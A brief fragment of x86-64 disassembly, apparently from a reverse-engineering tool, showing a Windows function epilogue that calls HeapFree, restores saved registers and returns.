call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret